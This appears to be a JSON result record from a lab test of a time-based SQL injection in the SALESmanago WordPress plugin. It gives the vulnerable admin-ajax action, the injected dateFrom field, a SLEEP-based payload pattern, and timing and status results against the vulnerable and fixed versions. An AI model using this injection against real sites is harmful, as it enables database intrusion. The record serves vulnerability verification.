{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "POST /wp-admin/admin-ajax.php action=salesmanago_export_contacts data=<base64 json with injected dateFrom, packageCount=1>",
  "variant_endpoint": "salesmanago_export_contacts",
  "parent_endpoint": "salesmanago_export_count_contacts",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": [
    "docker wordpress:6.7-php8.2-apache",
    "mysql:8.0",
    "SALESmanago plugin 3.11.2 (vulnerable) and 3.11.3 (fixed)"
  ],
  "timing_seconds": {
    "vuln_sleep0": "0.076730",
    "vuln_sleep1": "6.064347",
    "vuln_sleep2": "12.011995",
    "vuln_baseline": "0.010711",
    "fixed_sleep2": "0.070576"
  },
  "http_status": {
    "vuln_sleep2": "200",
    "fixed_sleep2": "403"
  },
  "outcome": "variant_not_bypass",
  "timing_scales_on_vulnerable": true,
  "fixed_blocked_403": true,
  "proof_artifacts": [
    "logs/vuln_variant/vulnerable/summary.csv",
    "logs/vuln_variant/fixed/summary.csv",
    "logs/vuln_variant/vulnerable/req_sleep2.txt",
    "logs/vuln_variant/vulnerable/req_baseline.txt",
    "logs/vuln_variant/fixed/req_sleep2.txt",
    "logs/vuln_variant/run.log"
  ],
  "notes": "Alternate entry point salesmanago_export_contacts (ExportController::exportContacts) shares the same ExportModel::getExportContactsQuery() SQLi sink as the parent count_contacts action but uses $wpdb->get_results (row-set) instead of get_var (scalar count). A 0-rows SLEEP payload (OR SLEEP(N) OR '1'='2) keeps SLEEP as a standalone OR operand (so MySQL cannot skip it) while the constant-FALSE third OR operand yields 0 matching rows, so exportContacts skips the external SALESmanago API call and the delay is purely the in-DBMS SLEEP."
}